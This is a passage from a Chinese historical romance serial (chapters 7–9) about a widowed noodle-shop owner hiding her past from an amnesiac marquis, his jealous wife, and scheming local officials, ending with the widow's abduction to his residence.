这一整日,雨水连绵。从早上到晚上,几乎没怎么停歇。
没什么人来吃面。阿致呆呆站在面馆前头,看着外面的雨棚。雨棚许久没有整理,雨水将其冲垮,雨水泄下来,哗啦哗啦的。
看来她说的话生了效,陆昀峥午饭和晚饭都没有再来。
她应当不会再有什么麻烦。
阿致脸色苍白,她摸了摸身上,有些冷,头也有些疼,便早早收摊。
回到后院做了晚饭,打伞给陶盾送去一份。陶盾问她是不是病了,她摇摇头:“不是。”
早上陆昀峥来她面馆,害她大哭一场,哭得脑仁疼,疼了一天。
晚上她回来便躺下了。头疼得厉害,只想要早点睡觉。
只可惜,总有那捣乱的,让她不得安生。
到了半夜间,雨水停了。她后门口有个老头在咒骂,大概是说她一个寡妇,看不上这个看不上那个的,一天天的假意清高,谁人不知道她吊着那陶书生呢。现在侯爷来了,她便清高也不要了,巴巴地贴上去。
是上次被她泼了辣椒水的老头,这老不死的。
阿致本不想理他,因为她实在太累,浑身没有力气。女儿哼了一声,眼见着就要被吵醒了,而且那老头越骂越难听。阿致气得一口牙都咬碎了,从床上爬起来,拢了拢黑长的头发,简单盘在身上,直接从床下掏出一把短刀来。
有时候还是武器来得省事点。
阿致推开房门,那老头的骂声突然没了。照说一个老头,动作不可能这么快。
阿致在夜色里仔细听,没有听到任何人的声音。她跳上后院墙,也没有看到任何人影。
真是奇怪。
这时候一阵冷风吹来,把巷口那棵树上残留的雨水吹洒到她身上,她忍不住想咳,用力捂住嘴,回到房里,才敢大声咳。
女儿希君已经醒了,她小手揉着眼睛:“阿妈,你刚才去哪里了?”
黑夜里她的眼睛黑亮黑亮的,像一颗星星。
阿致抱着她小小的身体,抱了个满怀:“没事,你睡吧。”
安抚希君睡着了,但是阿致这一晚怎么也睡不着。
第二天早上,天色大亮,希君醒来,发现早该开门做生意的阿妈竟然还在身侧。阿妈脸色惨白,嘴唇发枯。
希君跪起身,学着阿妈以前照顾她的样子,伸手摸阿妈的额头:“阿妈,你发烧啦。”
阿致迷迷糊糊醒来时,外头已经天亮了,希君跪在她身边哭。
阿致撑着身体慢慢起来:“哭什么?”
“怕你死了。”希君伸手死死抱住阿致的脖子。
“不会死的。”阿致眼圈有些红,她伸手轻拍希君的后背。
这么小小的一个孩子,离长大还有那么遥远,没有阿妈保护可怎么办?阿致不会让女儿跟自己一样的命运。只要想到还有个年幼的女儿,她就不会死。
“阿妈,你要是死了,我就是孤儿。只能去当乞丐,被人打,穿破衣服。然后我就冻死饿死了,呜呜呜——”希君哭得直抽。
小小年纪,一点小事就能想得那么严重。
阿致伸手将她抱在怀里,希君却不敢再哭:“阿妈,你去看病,你快去看病。”
·
陆昀峥早起的时候,也不太爽利。
昨晚上睡不好,总觉得胸口沉重,呼吸不畅,也不知是不是因为这场秋雨。睡不着的时候,听着雨声,他总是想到那面馆的小娘子——不是她说的话,而是好奇她正在做什么。
迷糊入梦,梦里是她正在袅袅热气中低头刷锅,她将袖子卷起来,露出瘦长的小臂,垂着眼,面容是冷的,但是嘴角有一丝的笑意,突然……她抬眸,看到他。
这时候,陆昀峥的心会咯噔一下,就像过去几日那样。
他醒了,靠在床上许久,闭目养神一会。
这时,暗卫来报,夫人打算今日去面馆。
陆昀峥伸手捏捏眉心,昨天面馆小娘子就提过,他的不周全会招来麻烦。还真是。若是放任谷湘如去到面馆,指不定会发生什么。
他起身洗漱,准备去找谷湘如谈一谈。
这时候邬春荣来报,屈县尉来拜访。
屈老幺好不容易叫人加紧筛查完本县户籍,将整理出来的册子拿给陆昀峥过目。
陆昀峥几乎忘了这事,他到前厅会客。随行屈县尉一道来的,还有个八字胡的四十岁男人,看穿着应当是个小官。果然,屈老幺介绍,这是密县的娄师爷。
陆昀峥点点头,客套一番后,接过那册子仔细看了一遍,没有什么女子符合阿致的情况,他将册子放在一旁。
找不到也很正常。这一年寻找阿致的过程中,他经历了无数的失望。
“看来没有侯爷要找的故人。”屈老幺遗憾道,“真是可惜。”
陆昀峥一脸沉静,没有回应。
那屈老幺看他这淡定模样,和娄师爷对了个眼,突然道:“侯爷应还没有吃午饭吧,不如一起去吃牛肉面?”
陆昀峥还没答复,那娄师爷急急地对答:“哪家的牛肉面?”
“曲逸巷的牛肉面,娄师爷还没吃过?”屈老幺问。
得,这两人双簧已经唱上了。陆昀峥不动声色,也没有接茬,看他们继续表演。正好邬春荣将热茶端上来给各位,他便端起桌上的热茶慢慢吹。
娄师爷点头:“哦,致娘的面馆。不过,致娘今日应是不开门做生意吧?”
屈老幺一直用余光关注陆昀峥的神色和手,想看他的反应。
陆昀峥一早有防备,自然是泰然自若,抿了一小口热茶。但是他心里早就有了好奇,偏偏今日不开门,是因为昨天他们的那场谈话么?
屈老幺微皱眉头,怎的陆昀峥一点反应也没有?他硬着头皮继续演:“师爷此话怎说?”
“今早老夫去东头大夫那里拿药,看到她了。她给自己瞧病,今日应是不开面馆。”娄师爷答。
“哎呀,病了,真是可惜。”屈老幺一拍大腿,仿佛没有吃到那一碗牛肉面真是遗憾至极,随即他又转身看向侯爷,道,“我来的路上听说,半夜有老头
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去她后院门口说胡话,也不知她生病是否与此有关。”
“本侯吃了几日面,有些腻了,正好两位过来,一起去吃点新鲜的,如何?”陆昀峥笑得云淡风轻,眼皮却垂下去。昨日听她说,她一个寡妇的处境很难,他没什么实感,今日听别人这么一描绘,他才知道这般可怜,也不知别人说胡话骂她的时候,有没有他的原因。
屈老幺抱拳:“那自然是好。”
“两位稍等。”说完,陆昀峥拿着册子,去往后院,叫邬春荣去问夫人,是否要一起出去吃午饭。
原本谷湘如精心打扮一番,正准备去会会那面馆俏寡妇,这时候陆昀峥派人来寻她吃晚饭,谷湘如立刻喜上眉梢。
她知道,昨天中午吵完架,陆昀峥就再没有出去寻那寡妇。她派春铃盯着呢。
看来,她说的话,他表面上不听,其实还是听进去了的。谁让她父亲是礼部尚书呢。
谷湘如矜持了一会,说要好好想想。
邬春荣点头:“那小的回去复命。”
谷湘如又赶紧叫住他:“你等会,你就在这里等。”
她这么想的功夫,又换了装扮的珠钗,将红石榴的步摇取下,改为珍珠发钗和项链。她知道陆昀峥不喜欢这些眼花缭乱的。
·
屈老幺和娄师爷在前厅等的功夫,两人凑到一起,交头接耳。
娄师爷说:“这陆侯爷看着不像是多喜欢这致娘。”
方才讲到致娘生病了,陆昀峥完全不动声色。
屈老幺自然也有些恼火,他今日从头盯到尾,没有发现陆昀峥一丝的破绽,但他还是很坚持:“你要这样想,侯爷若是真不喜欢致娘,也不会日日去她那里吃面。我猜这致娘,十有八九是侯爷要寻的那位故人。上次他特意查致娘的户籍,可不像是突然的兴致。”
“可是……前两日安排人给侯夫人露口风,也没见侯夫人有什么动静。如果这侯爷真的喜欢致娘,侯夫人不可能到现在都不出手吧。”娄师爷费了老大力气,安排人给侯夫人贴身的丫鬟春铃露口风。
屈老幺冷哼一声:“这你就不知道了。就是没有动静,才说明这两人夫妻关系不好。再说,你一定不知道吧,现在长安城里小道消息在传,他俩人要和离了,文书都准备好,只等回到长安后签字摁手印。”
“既然都要和离了,为何还要出来游玩?多此一举。”娄师爷无语,他不能理解。
“这你别管。总之,侯爷肯定是喜欢那小寡妇。”屈老幺道,“这世上的男人,就没有专一的,见一个爱一个是人之常情。就算他现在还不够喜欢,咱们有的是办法让他喜欢到舍不得。”
娄师爷太赞同了:“那就还是按计划。”
·
阿致带着女儿去看诊,拿回来几包药。
回来的路上,她正好看到有家铺子低价出面粉。仔细看了下,这面粉没有问题,她便要了两袋。
有些重,她一个人也扛不动。离家只两条巷子的距离,阿致便找老板借个板车,自己和女儿推回去。
女儿让她不要这么累,阿致摇头:“没事。”
老板帮阿致扛着面粉到板车上,阿致自己推回去。
走了没多久,阿致被官爷拦住,前面的路出现问题,不让过,要绕远路。
阿致有点生气,绕远路就是一大圈,实在太远了。她想让官爷通融一下,但是官爷不肯。周围还有很多人在扯皮,这事没得商量。
阿致只好认栽,她推着板车绕远路。远路上一片水坑,轮子陷在泥巴里,不是很容易。
女儿希君看她辛苦,在一旁帮她推得满头是汗。
绕过路口轻松了些,阿致松口气摸着女儿希君的头,她一转头,迎面而来几个人。她先看到了陆昀峥,随后看到了他身边的夫人谷湘如。
中间只有两丈远的距离,阿致的心提到嗓子眼。
7. 丧彪
7
屈老幺的计划被打乱了。
他和娄师爷一路跟在陆侯爷夫妇身后,去往大街上的酒楼。按照屈老幺的计划,是将陆昀峥叫出来,给他制造偶遇,偶遇那弱不禁风的致娘。
可是,陆昀峥临出门前,竟然给那侯夫人一道叫出来。
坐着两辆马车到主街上,侯夫人突发奇想要看主城的河景,几个人便下了马车来走。
计划完全乱了。
娄师爷瞪着屈老幺,眼珠子都要瞪出来了:怎么办?
屈老幺一头的冷汗。早上听说致娘去东头看大夫,他便计划和安排好一切。他先是让大夫特意拖延致娘看病的时间,又在致娘回来的路上安排特别便宜的面粉和牛肉,还在她家附近设置路障,只给她留了一条路。本以为这计谋天衣无缝……确实天衣无缝,就是没料到半路杀出来个侯夫人。
若是侯夫人遇到那小寡妇,该当如何?
屈老幺无奈看了娄师爷一眼,此刻他两人也不好走开去。眼看着离安排的相遇地点越来越近,屈老幺随手指着一家冷清的酒楼问:“听说这家味道不错,侯爷要不要试试?”
陆昀峥无所谓,抬脚就要进酒楼里。
谷湘如却有其他想法:“我听说这曲逸巷有家牛肉面的味道不错,不如我们去尝尝?”
陆昀峥皱了皱眉头,看着她。
谷湘如嘴角带着讥诮的笑容:“怎么,侯爷不愿意去?”
一想到陆昀峥为了个面馆里油腻的寡妇,对她说那么难听的话,谷湘如心里那口气就咽不下。
酒楼里的小二看到有贵客,呲溜一下跑过来:“客官里边请。”
陆昀峥冷冷地转身,继续往前走。
他这是要去哪里?和侯夫人斗气了?
一旁的屈老幺和娄师爷急得热汗直流。这越往前走越危险,越容易碰上致娘。于是,两人忙出来打圆场。
屈老幺对侯夫人说:“那家面馆也就那样,刚开始图个新鲜。下官以前也爱常去吃,吃多了就腻味。”
娄师爷说:“是啊,也就那样。而且那小娘子今日没开门。”
“为何没开门?”谷湘如心中有疑,转头看着陆昀峥。
娄师爷擦擦脸侧的汗:“那小娘子病了。”
谷湘如半信半疑地说:“那好吧,改日我再去。”
今日事今日已毕,屈老幺的心放进肚子里,连忙跟上陆昀峥的步子。
陆昀峥都快走到拐角了,屈老幺指着不远处的酒楼热情推荐。
谷湘如很是累了,甚至得让春铃扶着,便说:“那就这家吧,看着人不少,味道应该还不错。”
陆昀峥也不置可否。
就这么说定了,屈老幺喜笑颜开,领着人去往酒楼。这么一转眼的功夫,他看到了拐角处的致娘,吓得心肝一抖,脸都白了。他赶紧回头去看侯夫人。
好在侯夫人没注意到这边,她正上下打量那酒楼。酒楼外挂有几幅画,山水花鸟都有。画师的手艺还行,画风独特,只是不精,且看得出来是赶工画出来的。
而距离他们两丈远开外的阿致,她立刻扔下那一板车的面粉,拉上女儿转身退回到拐角后去。女儿手里原本捏着一个老虎糖人,就这么掉到泥土里。
谷湘如打量完那些画,她一侧头,刚好看到陆昀峥。他望着远处拐角,拐角那里不过是一个脏兮兮的棕色木板车,也不知道什么好看的。
屈老幺急中生智,指着拐角斜对面的书屋道:“看来侯爷是想要逛书屋,不如夫人我们先进去点菜?”
谷湘如一看,那拐角处还真是个书屋。她脚疼的不行,快步进去酒楼。一方面她知道,陆昀峥看到书店就走不动道;另一方面,她想进去酒楼,看是否有更多符合心意的画作。若能问出画师是谁,说不定可以买一幅更好的。
终于解决危机,娄师爷抹了抹头上的一圈汗。
至于陆昀峥,他则走到拐角处,看着那板车上的两袋面粉,几包系成捆的药袋子,还有他脚下刚被踩碎的一个糖人。
他伸手捡起来那糖人,糖人碎在了泥巴里,他手上只剩下竹签。
这时候,一个五六岁的小女孩冒出头来,鬼头鬼脑地看着陆昀峥,试探着问:“丧彪?”
陆昀峥转头看着她,一脸不解。
希君又看了看,确实是丧彪啊。她索性站出来,拍拍小胸脯:“我是土豆!土豆!你不记得——”
希君还没说完,就被阿致一把提溜回去。阿致怒目瞪着她,让她去打探消息的,不是让她暴露自己。什么丧彪土豆的?土豆不是音音婶娘的儿子吗?
还没来得及训斥女儿,阿致全身被一个身影笼罩住,她一抬头,是陆昀峥。
阿致愣住,她这才想起来捂住女儿的脸,但……他已经看到女儿了。
陆昀峥道歉:“你说的没错,我给你惹了很大麻烦。”
阿致的手捏紧,她轻轻摇头。他做事一向这样冲动,但也不是什么坏心。
突然,阿致想起来:“你夫人她……”
陆昀峥低头看着她苍白的脸,病了显得清瘦许多,他艰难道:“她刚走了……但她这几日可能会去找你麻烦。我会想办法阻止,不给你添麻烦——”
“不用,我生病了,正好想多休息一段时间。”阿致道。反正,她和陆昀峥以后不会见面,避开就是了。
他和谷湘如成婚的生活是最美满的,不像她和他,曾经在一起时山一重水一重的,让人精疲力竭,让人厌倦。
既然他已经忘记前尘往事,阿致也放下了过往所有。她心甘情愿选择避开,就当报答他往日的恩情。
陆昀峥蹲下,看着那个人小鬼大的小女孩,头上顶着两个小发包,问:“这是你女儿?”
这小女孩子的脸蛋很像她,一个模子刻出来的,就是眼神有些凌厉。
希君歪头看着眼前的高大男人,她小大人一样抱着两只胳膊在胸前,瞪眼质问他:“你真不记得我了?”
陆昀峥笑:“我们何时见过面么?”
她发怒的样子,和她娘还真是一个模子。
希君绝望了,叹口气,转头抱了阿妈的腿,伤心欲绝。
阿致看着这一大一小,嘴角忍不住上翘,她摸着希君的小脸,笑了笑:“小孩胡诌的,侯爷你不要介意。”
她开心的笑,是第一次,就像是一朵白色的花骤然绽开,有朦胧的光华散发。陆昀峥仰头看着她,失了神。
阿致低头看着他的脸,笑容慢慢收敛起来,又恢复了冷冷的样子,退后一步道:“民妇还有事,不耽误侯爷时间。”
她拉着女儿希君,低头往前,拐过弯,弯腰去推板车。突然手上重力一轻,是陆昀峥从旁边抽起来。
他握着其中一边,说:“你还病着,我推吧。”
他是个很倔的人,阿致知道说不通,于是领着女儿在前面远远带路。
陆昀峥知道,她要避嫌,也特意保持着一段距离。
他穿着黑色的长衫,却推着脏兮兮的木板车,一路上引人注目。
终于,陆昀峥把板车放在了曲逸巷的巷口,转身便走了。
阿致等他走了许久,没人的时候才去将木板车推回来。回来后她才发现,药包中间夹着两个油纸包着的糖人。方才回来的路上,希君看到卖糖人的,嚷着要再买,阿致不肯,将希君拖回来的。
阿致将糖人重新包好,递给女儿希君。
希君拿过糖人,依旧闷闷不乐,一口一口舔着。
阿致将两袋面粉抬进面馆里,她累得直喘气,这
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时候才想起来一件事:“刚才那个叔叔,你认识他?”
希君泄愤一般,将整个糖人一口气全咬碎在嘴里:“不认识。”
阿致见问不出什么来,便不再多说。这丫头性格和她老子一样,她不想说的事,撬开她的嘴,也得不到答案。
·
谷湘如进到酒楼,好一通欣赏画师的画作,又问了画师的名字,这才心满意得地坐下点菜:“诶,侯爷还没回来?”
这都好一会了。
屈老幺嘿嘿一笑,说他去找,但他下楼来,却只站在酒楼门口,压根不去找人。方才他在楼上看到陆昀峥和那致娘一前一后地走了。啧啧啧,任你面上掩藏得再好,该心疼还是得心疼呐。
果然,过不多会,陆昀峥自己个儿回来了。
屈老幺指着他衣袖上的白色粉末,问:“侯爷,这是书店的灰尘么?”
陆昀峥闻声低头,将袖子上粉末拍干净。
其实他鞋子也踩到了淤泥,不过这时也没办法清理,直接上楼去。
谷湘如见他姗姗来迟,还两手空空的,便让出身边的一个座位,示意他坐过来:“没看到喜欢的书?”
陆昀峥摇头,似乎没看到那个空出的座位,坐在了谷湘如的另一边。
谷湘如端起桌上一杯茶,一口喝完,扫一眼对面的屈老幺和娄师爷。这两个人精一样,估计早看出他们夫妻不合。
陆昀峥真是一块石头,这一年多,他就是油盐不进,从来不给她一点面子,在外人面前也不愿意为她假装亲密。
谷湘如沮丧地低头,正好看到桌下陆昀峥的鞋,鞋边上全是黄泥。谷湘如皱眉,她记得到书店的这段路,可是没什么水坑泥巴的。再则,方才陆昀峥在酒楼下的神情就不对劲,还离开了那么久……
都怪她,被这几幅画给蒙了眼,没注意到这些细节。
谷湘如心中有强烈的不安感——也许她对男人太过大意。虽然陆昀峥对阿致很是情根深种,但毕竟五年过去了,再则他失忆了,同时爱上另一个女人也是有可能的。
那碗牛肉面,看来是非吃不可了呢。
·
接下来的两日,谷湘如特意去那曲逸巷的面馆,可惜那面馆的门关得死死的。
派春铃去左右的商铺打听,大家都不知情,毕竟那致娘鲜少与人交往,话也少。唯一得知的是,她这几日病了,病得有些重,所以在家休息着。
这……谷湘如越想越不对劲,晚饭也没心思吃,对着窗外黑漆漆的院子发呆。
春铃一边给夫人拆头发首饰,一边说:“怎的这么巧,夫人你要去吃牛肉面,这面馆就不开张了呢?”
谷湘如的眼神渐渐变得锋利,她想到了另一件事。陆昀峥有自己的暗卫队。自从新婚那日他得知自己被骗后,就将暗卫队清洗了一遍,现在暗卫队里全是他自己人。难说就是陆昀峥派暗卫盯着她。
春铃将一串翠绿的青桔发簪放在梳妆台上。发簪上有四五个小青桔,深绿色的翡翠雕琢的,挤在一堆,实在可爱。
谷湘如伸手拾起那发簪,眼神冰凉。这是当初成婚的聘礼之一。陆昀峥以为她是阿致,成婚之前,他叫京城最好的工匠打造的聘礼。她曾很喜欢,现在也依旧喜欢。
她摸着那发簪,冰凉冰凉的,和她的心一样。她突然发力,将那发簪摔在大理石的地上。发簪当即碎了几小片,簪体在地上划出去好远。
春铃吓得跪下来,伸手去捡那发簪和碎片。
“扔掉。”谷湘如的语气里都是寒意。
“夫人,这……”春铃还想再劝,看到自家主子的眼神,立刻低头,退出去扔掉。
谷湘如捏紧了拳头,她喜欢的东西,如果不能拥有,也不会给别人拥有。那碗牛肉面,她吃定了。
8. 荒唐
8
入夜时分,陆昀峥正在书房处理信件。北边小国楼烦易主,似有异动,朝廷有意让他假期结束后去北边上任。
这时候一个暗卫进来,他将这两日夫人外出的事情禀报给陆昀峥:“另外,夫人方才又在房里摔东西,怕是……”
怕是要来个大的。
陆昀峥沉默了一会,也不知道在想什么,轻轻点头:“面馆那边呢?”
“和之前一样。那小娘子整日呆在家里,一日出去两次,给一个叫陶盾的书生送饭。”
陆昀峥垂下眼,盯着地上,烛火照不亮的地方。他记得,第一次见到她,就是在那书生陶盾的院门口,她手里提着一个竹篓……
暗卫沉默了一会,又说:“罗教头来信,明日晚上就能回来。”
陆昀峥挥手,暗卫旋身一个黑影,蹿出窗外,融入了夜色中。
他盯着那夜色看,看了好一会,邬春荣开门过来问爷什么时候洗,他好去准备热水。
陆昀峥吩咐他:“你去跟夫人说,后日中午启程离开,去往潞安。”
谷湘如留在这里,必然不会善罢甘休。唯一的解决办法就是离开这里。
邬春荣看着侯爷那难看的脸色,立刻退出去。深吸一口气,去面对另一位脸色难看的主子。
房间里又安静下来,陆昀峥捡起桌上的信件,提起毛笔,准备回信。
拿起笔,看着那空白的纸,陆昀峥突然想起白日里,那小娘子低头一笑,眼角眉梢柔和缱绻,眼尾眯成了一条长线,阳光从她的睫毛间隙投在黑色的瞳仁里、眼底……
他到底在想什么?陆昀峥用力甩头,想要把这画面甩开。
随即,他又想起第一次见面,是在陶盾的家门口,她水光含情的双眼,巴巴看着他……也不知道她和那陶盾是什么关系。和那陶盾不避嫌,和他却处处避嫌。
陆昀峥醒悟过来,自己到底怎么了?难不成和谷湘如说的一样,他看上这小娘子了?
他笑着自嘲一声:“荒唐。”
说完,他面色凝重,瞳孔放大。不可能,不可能的……
这时候邬春荣又回来禀告侯爷:“夫人她……不愿意离开密县。”
方才邬春荣去见夫人,夫人正在泡茶,一旁春铃给她揉肩。听说后日中午就走,春铃倒是挺高兴:“侯爷终于答应要走了。”
谷湘如却冷脸哼道:“他不想走就不想走,他想走就能走了?”
她越发笃定,陆昀峥就是怕她去找那寡妇的不是。谷湘如将手中的糕点捏成了一团,那她就更不能走了。
眼看着夫人又要摔茶盏,邬春荣吓得立刻逃回来。夫人不愿意,他也没办法。他能耐不大,最多做个传话的,眼下就看侯爷自己应对。
陆昀峥的额头剧痛,他没有心思去管谷湘如。方才脑海中冒出的那个想法,就像是石头中冒出的火花,让他感受到了巨大的威胁。
他对阿致有责任,他们在大漠上拜过天地,已经是夫妻。可是……他似乎喜新厌旧爱上了那面馆的小娘子。一开始他以为这小娘子是阿致,才靠近她,想要个结果。没想到……她说不是。
现在,陆昀峥只剩下一个希望——明晚罗三从渠县打听的信息,验证那小娘子的话是真是假。如果那小娘子真的不是阿致……
陆昀峥闭上眼,长叹一口气,他对不起阿致。
“爷如果不舒服,那就早点洗漱?”邬春荣弯腰道,“小的让人去准备热水。”
“不必了,你提一桶冷水来。”
邬春荣一惊,这秋雨之后可是凉得要穿厚马褂了……侯爷火气有点大啊,还是被夫人气到了。
·
晚上,阿致喝过汤药,早早准备去睡。
休息几日后,她的身体好了许多。傍晚,她给陶盾送饭,陶盾问她什么时候打开面馆做生意。
阿致只笑着说还要再想想,这几年忙着做生意,几乎没有休息过,太累了。
陶盾点点头,没太当回事。致娘是个做事很拼的人,她一个人挣生活,还要带着女儿,很不容易。再则,人都是这样的,一直累着还能苦撑,一旦停下来就不想再动了。
但其实阿致已经有了主意,她打算离开这里。原因有两个:
一是因为谷湘如。这两天她派人到面馆前头盯着,以后也可以一直派人盯着,或者直接拆门强闯。阿致知道,带着女儿继续生活在这里,实在不安全。
二是因为陆昀峥。他现在是失忆了,与她面对面都不相识。但保不齐什么时候,他就记起来了。如果他是未婚之身来寻她,那她还有念想;但他已经成婚……那最好是余生都不要有纠缠。
阿致伸手去摸床板侧边的夹缝,摸出一个黑色的布包来。
希君也觉得稀奇,围过来看。
打开黑色布包,里面露出一张地契来。是面馆的地契。
阿致摸摸女儿的头:“我们换个地方生活吧。希君想去哪儿呢?”
希君想了想:“长安?我听说长安有许多好吃的好玩的!阿妈,我要去长安!”
长安啊。阿致为难地抱着她:“阿妈再考虑下。”
“真讨厌,说要问人家的主意,人家说了你又不听。”希君撅起嘴巴,挣开阿妈的胳膊,今晚上她要睡另一头。
·
第二天早上,希君还是从阿妈怀里醒来的。没办法,一个人睡一头太可怕了,还是阿妈怀里更暖和。
阿致醒来后,一大早便从后门出去,找了地保和几个房牙,尽快把她的面馆转出去。
从地保那儿出来,快到午饭时候,阿致又去买了点菜和鸡肉。希君和陶盾都瘦得不行,得多补补。
阿致正往回家路上走,经过一个茶楼时,眼角余光看到里头有个熟人正走出来,那人似乎也看到了她,愣到之后快步追过来。
阿致的眼睛圆睁,立刻提着两只鸡和一篓子菜赶紧离开。
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这熟人便是谷湘如。
今日谷湘如携着春铃出来,就是为了见那酒楼里风格奇特的画师,画师名叫陶盾。谷湘如与他喝了几盏茶,交谈之后,便用一锭银子定下他的三幅画,定的主题是祝寿,送给她母亲的。
两人相谈甚欢。谷湘如也说了,若是这三幅画不错,以后还会找他。
陶盾有了这笔意外之财,将谷湘如视为贵人。他欣喜若狂,想着这银子可以给致娘买一身好看的衣裳。
他跟着谷湘如下楼,前一刻谷湘如面上带笑,后一刻她望着茶楼外如同遭了雷劈,愣在原地。
陶盾顺着她的目光看去,是……致娘。
谷湘如反应过来,拔腿就去追。她要去看清楚,是不是她所想的那个人。
陶盾赶忙跟上去,拦住她道:“夫人什么时候要画?”
谷湘如一把推开他,冲到外头一看,哪里还有人影。她快步跑到前边,在一个岔路口左看右看,只看到身着同样青色长裙的年轻女人,扒过对方肩膀一看,大脸浓眉。
不是她所想的那个人,看来是眼花了。
丫鬟春铃跟着跑过来,气喘吁吁:“夫人怎么了?”
“没事。”谷湘如长舒一口气。
坐马车回去游园的路上,她还在想,若沈雪致在这里,万一被陆昀峥碰上,简直不可设想。
虽然要和陆昀峥和离在即,但她也不希望陆昀峥和沈雪致重修旧好。凭什么他们不费吹灰之力就能美满,而她费劲九牛二虎之力,最终只落得一场空?
·
阿致低头往家里走,走到后院门口时,陶盾追过来。
阿致提着手里的鸡,准备告诉他今天吃鸡汤。陶盾抢先道:“街坊都说你和陆小侯爷不清楚,我……以为又是别人诋毁你。但是方才,你看到侯夫人为什么要跑?”
为什么心虚呢?
“你是想说我不知廉耻,勾·搭有·妇之夫吧。”阿致突然觉得手里的鸡有千斤重,她慢慢垂下胳膊,脸上的笑收起来,“你今日帮我,我很感谢,但这不是你羞辱我的理由,也不是你的权利。同样的,我的事情,也没有向你解释的必要。”
阿致把手里的一只鸡塞给他:“你自己做饭。”
她做的饭,他大概会嫌脏。
陶盾没有接,鸡就掉在地上,死命挣扎着。
阿致转身打开后门,关门拴上。
陶盾知道自己说错了,他拍门道歉:“致娘,我错了,我不该怀疑你的。”
明知道致娘她从来都是行得正的人;明知道她只信任他一个,也只有他一个朋友,偏偏他却质疑她。
陶盾掏出胸口那一锭银子,他是想要用在致娘身上的。
·
终于……夜晚姗姗来迟,陆昀峥盼来了罗三。
马不停蹄地赶回来,罗三连一口水都没喝,直接找侯爷汇报。他在渠县多方打听,终于摸清楚了那陆扬和王致何许人也。
9. 非分之举
9
罗三在渠县奔走,终于将陆扬和王致的过往查得七七八八。
渠县确实有这两人,但他俩人在五年前都死了。
陆扬是酒后暴毙的,而王致在丈夫死后,穷困潦倒,没隔几个月在冬天病死了。且两人还有个儿子叫陆涂,算起来,陆涂现在该有十岁。他在母亲病逝后跟人去到长安,但是具体在长安哪里,不知道。
陆涂虽然离开多年,但时常与渠县的发小来信。
因为时间紧迫,罗三只查到了这发小,嘱托发小写信联系长安的陆涂。
罗三看着陆昀峥:“侯爷还有想要查的吗?”
陆昀峥摇了摇头,眼神坚定。他的直觉一向没有错,那小娘子就是在说谎、隐瞒。可是自从暴雨那一日,她和他谈过之后,陆昀峥便没了精神,他开始怀疑自己是不是做错了、认错了。
可是现在,罗三找出来的信息,很明显地映证了一件事:面馆小娘子根本就不是王致本人,她是冒名顶替的!
她就是阿致,却骗得他好苦。为何要骗他呢?
陆昀峥非常想要现在就去找她对峙,但是看着外头的夜色,只能重新坐回椅子上。他让邬春荣进来,好生安置罗三,并准他休息两日。
陆昀峥一个人坐在书房里,他仰头靠在椅背上,嘴角上翘,想着她被他打个措手不及会是怎样的情形。若是她慌张的话,会是怎样呢?
就在这个时候,罗三又敲门进来,他禀告有一件诡异的事,需要爷自己去看看。
陆昀峥有些诧异。
罗三走过来,小声道:“有人躺在游园后门。”
“后门的树林里?”陆昀峥警觉。难道有人犯事后抛尸?
“不是。听部下说,是几个人扔到后院里头的。在下已派人去追踪。”
胆子可真大,将人扔到陆侯爷所住的地方。
“一定要查出是谁做的。”陆昀峥起身出去,琢磨着这其中究竟有什么名堂,“是死是活?”
“活的。”罗三顿了下,“是个年轻女子,看样子是被掳劫至此。”
“女人?”陆昀峥转身看着罗三。
·
晚上,阿致照例安置女儿睡着,她去院子里倒洗脚水,听到门外有动静。
阿致皱眉。难道又是那些不安分的?她仔细听着外面的动静,竟然不止一个人,还都是练家子……
阿致心道不好,她赶紧回到房里,从床底下抽出一把匕首,藏在短靴里,再抽出一把长刀握在手上。
那几个人跃过她的院墙,落在地上的声音十分轻,步步紧逼。
阿致找到火折子,又拖出一桶油到院子里,直接点燃火。如果将那团火扔到油桶里,便能烧得街坊邻居都出来。
可惜,她扔出去的火折子被人半空中截住。很显然,对方不是一般的练家子。
火折子的光照亮了三个蒙面人,也照亮了阿致冷白的脸。
如果是她自己一个人还好说,大不了拼了,活下来的概率很大。可是她房里还有五岁的女儿,对方手里都是长剑……
阿致捏紧长刀,与对方试探了几个来回。
对方却并不取她性命,处处避让,两个高大男人困住她,另一个人翻身进到屋里去。
其中一个男人低声警告:“不想你女儿丧命,就乖乖束手就擒。”
阿致扔下刀:“不许碰我女儿。”
房里的那个男人空手出来,并带上了门。
门里传来女儿希君哈欠连连的声音:“阿妈,是你吗?”
阿致恨恨看着这三个男人:“嗯,阿妈还要和面,你先睡。”
阿致只能跟这三个男人走。
这三个男人对密县很熟悉,带着阿致走无人的小巷子,三个人分别从三面围着阿致,不给她一丝逃跑的可能。手段如此猖狂又周密,看来背后有人指使。
阿致问:“你们要带我去哪里?”
这三人不回答,只一个劲往前赶路。
“你们要带我见谁?”
还是一片寂静,只有匆匆的脚步声。
阿致在心里盘算,她是不是得罪了什么人,才会遭遇此等事情?
她实在想不到。她在密县生活五六年,几乎从不与人结仇,只是安静地活着。
阿致眉心一跳,难道是因为这些天陆昀峥的事?
那么,幕后指使者是谁呢?
难道是谷湘如知道了她的身份?她们刚见过!阿致想到这个可能性,她反倒不怕了。
至于陆昀峥,绝对不可能。他干不出半夜掳劫良家妇女的事。
突然,阿致被人从背后袭击,陷入昏迷。
·
阿致再次醒来时,是在一片寂静的黑夜中。
她迷迷糊糊睁开眼,只见到一片天青色帐幔。帐幔华贵干净,在一片黝黑的夜中,被微微烛光照得盈盈泛光。
她用力撑起上半身,发现身下是柔软的床褥,身上也盖着轻柔的丝被。
她被人送到了床上。这是谁的床?
阿致大惊,她没时间思考这个,先低头查看自己的衣襟,长裙和外衫都在,只是沾满了细碎的泥土。
干净的床铺上,也散落着几粒泥土。
阿致摸着自己的衣襟领口,应当是没有发生什么,或者是还没来得及发生什么。
她要赶紧回家,不知道女儿一个人怎样了。
阿致正准备转身下床,房门外钻进来一个人影,他低头迈进:“你醒了?”
阿致抬头,和他的眼神撞个正着。
是陆昀峥。
·
陆昀峥去到后院门口时,远远看到地上躺着的人影,立刻认出来是那小娘子。明明什么特征也没有,在夜里也看不清,可是他就是那么笃定。
他大致检查过,她似乎没什么损伤,只是后颈被人劈了一掌,所以晕过去。
罗三在一旁询问:“侯爷,怎么处理?”
陆昀峥低头,直接伸手将她抱起来,往自己房里去。
一旁的罗三吩咐所有人,守好后院的几个出入口。
陆昀峥所住的后院,除了主房,还有个耳房。入住游园的时候,邬春荣将耳房也打扫干净,此时正好用来安置阿致。
